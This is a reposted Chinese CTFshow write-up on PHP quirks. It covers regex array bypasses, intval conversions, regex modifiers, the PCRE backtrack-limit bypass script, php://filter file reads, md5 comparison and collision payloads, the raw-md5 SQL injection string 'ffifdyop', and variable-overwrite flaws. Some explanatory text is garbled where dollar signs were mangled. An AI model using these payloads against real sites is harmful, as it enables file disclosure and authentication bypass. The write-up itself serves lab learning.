IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFshow--php特性1 -> 正文阅读

[PHP知识库]CTFshow--php特性1

数组绕过正则表达式

web89

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

正则表达式,遇到一个数组,而不是一个字符串的话,就会返回false,从而绕过。
payload:num[]=1

intval

官方文档
参数

intval ( mixed $var [, int $base = 10 ] ) : int
其中,var为要转换的数量值
base为转换所用的进制
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" ("0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)

返回值

成功时返回 value 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上,intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0,虽然取决于字符串最左侧的字符。 使用 整型转换 的共同规则。

例子

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
echo intval(false);                   // 0
echo intval(true);                    // 1
?>

web90,92,93,94,95

payload

intval('4476a')===4476     字符串
如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。
如果字符串第一个是‘-’,则从第二个开始算起
intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
函数如果base为0 则 base为0则base为0var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中表示科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格

补充函数:
is_numeric(value),value为需要检测的字符串
作用是,如果value为数字或者数字字符串,返回true,否则返回false
相关函数
ctype_digit() - 做纯数字检测
is_bool() - 检测变量是否是布尔值
is_null() - 检测变量是否为 null
is_float() - 检测变量是否是浮点型
is_int() - 检测变量是否是整数
is_string() - 检测变量是否是字符串
is_object() - 检测变量是否是一个对象
is_array() - 检测变量是否是数组

正则表达式修饰符

web91

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

拓展

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行; 
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 

payload:%0aphp %0a是换行符

%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag

利用回溯最大次数绕过正则表达式

preg_match(搜索的模式,输入字符串)
返回值
preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第
一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果
发生错误preg_match()返回 false。
原理:
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false,就自动绕过了正则表达式。
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
} 

python脚本

import requests
url="http://15bdcf89-9e10-4205-b3b4-6b3a0e45651a.chall.ctf.show:8080/"
data={
	'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

参考文献:
https://www.freebuf.com/articles/web/190794.html

路径问题

web96

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

函数

highlight_file(filename,return):对文件进行语法高亮显示
filename	必需。要进行高亮处理的 PHP 文件的路径。
return	可选。如果设置 true,则本函数返回高亮处理的代码。
本函数通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本。

许多服务器被配置为对带有 phps 后缀的文件进行自动高亮处理。例如,在查看 
example.phps 时,将显示该文件被语法高亮显示的源代码。要启用该功能,请把下面这一行添加到 httpd.conf:

AddType application/x-httpd-php-source .phps
show_source():跟上面一样的

意思就是,可以利用show_source来显示出代码内容。

payload:

u=/var/www/html/flag.php   		绝对路径
u=./flag.php									相对路径
u=php://filter/resource=flag.php	php伪协议
u=php://filter/read=convert.base64-encode/resource=flag.php

md5绕过

强类型比较

if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;

md5不能识别数组,都会返回Null值。
此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过
payload

a[]=1&b[]=2

弱类型比较

if(md5($_GET['a'])==md5($_GET['b']))
echo $flag;

只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会现转换字符串的类型,在进行比较,而在比较是因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等
参考payload:

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

其他的参考:https://github.com/spaze/hashes/blob/master/md5.md

md5碰撞

if($_GET['a']!==$_GET['b'] && md5($_GET['a'])===md5($_GET['b']))
{
	echo flag.php;
}

真实md5碰撞,不能使用数组,只能找相同md5值的字符串

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

参考网站:
https://www.jianshu.com/p/c9089fd5b1ba

第四种情况

$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";

这需要一个极其特殊的md5的值 ffifdyop

这个字符串进行md5后恰好结果是’or’6�]��!r,��b,他的前四位为’or’正好满足sql注入查询的条件,因此可以完美绕

其他的hash值(md4,CRC32)

https://github.com/spaze/hashes

web97

payload:
a[ ]=1&b[ ]=2

三目运算符

(expr1)?(expr2):(expr3); //表达式1?表达式2:表达式3

如果条件“expr1”成立,则执行语句“expr2”,否则执行“expr3”。

web98

$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

审计代码:
第一行代码,得知如果有get传入参数,将post的值赋值给get
第二行跟第三行没有用
第四行,如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。
所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可

payload:get:1=1(随便都可以) post:HTTP_FLAG=flag

变量覆盖

前言

	变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结
合程序的其它功能来实现完整的攻击。

   经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数,
import_request_variables()使用不当,开启了全局变量注册等

$$使用不当

$key=‘text’; $$key =200 的意思是 将 $key 的值作为变量 并赋值为 200

$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。

<?php
  
$name=’thinking’;
 
foreach ($_GET as $key => $value)
 
    $$key = $value;
 
var_dump($key);
 
var_dump($value);
 
var_dump($$key);
 
echo $name;
 
?>
 
//?name=test
//output:string(4) “name” string(4) “test” string(4) “test” test

对函数foreach的分析(官方文档)

foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试
应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

foreach (iterable_expression as $value)
    statement
foreach (iterable_expression as $key => $value)
    statement
第一种格式遍历给定的 iterable_expression 迭代器。每次循环中,当前单元的值被赋给 $value。

第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key。

当二维及多维数组时,一般可以用list解嵌套的数组
<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as list($a, $b, $c)) {
    echo "A: $a; B: $b; C: $c\n";
}
?>

例子一

<?php
 
include “flag.php”;
 
$_403 = “Access Denied”;
 
$_200 = “Welcome Admin”;
 
if ($_SERVER["REQUEST_METHOD"] !=POST)
 
    die(“BugsBunnyCTF is here :p…”);
 
if ( !isset($_POST["flag"]) )
 
    die($_403);
 
foreach ($_GET as $key => $value)
 
    $$key = $$value;
foreach ($_POST as $key => $value)
 
    $$key = $value;
 
if ( $_POST["flag"] !== $flag )
 
    die($_403);
 
15.echo “This is your flag :. $flag . “\n”;
 
16.die($_200);
 
17.?>

几个函数

isset():查找是否存在,如果存在的话,就返回true,不存在就是false
empty():不存在的话就是true,存在,非0非空就是false
die():退出脚本,并返回一个括号中的信息
exit():退出脚本,并返回一个括号中的信息

题目分析:

源码包含了flag.php文件,并且需要满足3个if里的条件才能获取flag,题目中使用了两个foreach并且也使用了 . 两 个 f o r e a c h 中 对 .两个foreach中对 .foreachkey的处理是不一样的,满足条件后会将 f l a g 里 面 的 值 打 印 出 来 , 所 以 flag里面的值打印出来,所以 flagflag是在flag.php文件文件中的。

但是由于第7,11-14行间的代码会将 f l a g 的 值 给 覆 盖 掉 了 , 所 以 需 要 先 将 flag的值给覆盖掉了,所以需要先将 flagflag的值赋给 2 00 或 _200或 2?00_403变量,然后利用die( 2 00 ) 或 d i e ( _200)或 die( 2?00)die(_403)将flag打印出来。

解题方法:

由于第7,11-14行间的代码会将 f l a g 的 值 给 覆 盖 掉 , 所 以 只 能 利 用 第 一 个 f o r e a c h 先 将 flag的值给覆盖掉,所以只能利用第一个foreach先将 flagforeachflag的值赋给 2 00 , 然 后 利 用 d i e ( _200,然后利用die( 2?00die(_200)将原本的flag值打印出来。

最终PAYLOAD:

本地复现,所以flag与原题不一样

GET DATA:?_200=flag

POST DATA:flag=aaaaaaaaaaaaaaaaaaaaa

extract()函数使用不当

extract(array,extract_rules,prefix)

用法:
extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。

该函数返回成功导入到符号表中的变量数目。
在这里插入图片描述

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
 
$a = Cat; $b = Dog; $c = Horse

一般考点:
当从GET或者POST得到参数后,-格式转换为数组,extract($_GET),当传入一个已有变量,就可以达到覆盖变量的目的。

parse_str()函数使用不当

parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

parse_str(string,array)
参数 描述
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。

一般考点:当将字符串解析为数组变量时,键值对,会覆盖之前的变量,从而达到覆盖变量的目的

import_request_variables()使用不当

import_request_variables() 函数将 get/post/cookie 变量导入到全局作用域中。该函数在最新版本的 php 中已经不支持

import_request_variables() 函数将 get/post/cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。

bool import_request_variables ( string $types [, string $prefix ] )
  • $types:指定需要导入的变量,可以〖can〗用字母 g、p 和 c 分别表示 get、post 和 cookie,这些字母不区分大小写,所以你可以〖can〗使用 g 、 p 和 c 的任何组合。post 包含了通过 post 方法上传的文件信息。注意这些字母的顺序,当使用 gp 时,post 变量将使用相同的名字覆盖 get 变量。任何 gpc 以外的字母都将被忽略。

  • $prefix: 变量名的前缀,置于所有〖all〗被导入到全局作用域的变量之前。所以如果你有个名为 userid 的 get 变量,同时提供了 pref_ 作为前缀,那么你将获得一个名为 $pref_userid 的全局变量。虽然 prefix 参数是可选的,但如果不指定前缀,或者指定一个空字符串作为前缀,你将获得一个 e_notice 级别的错误。

参考文章:

https://www.cnblogs.com/xiaozi/p/7768580.html

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-12 16:23:01  更:2021-08-12 16:24:48 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 5:14:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码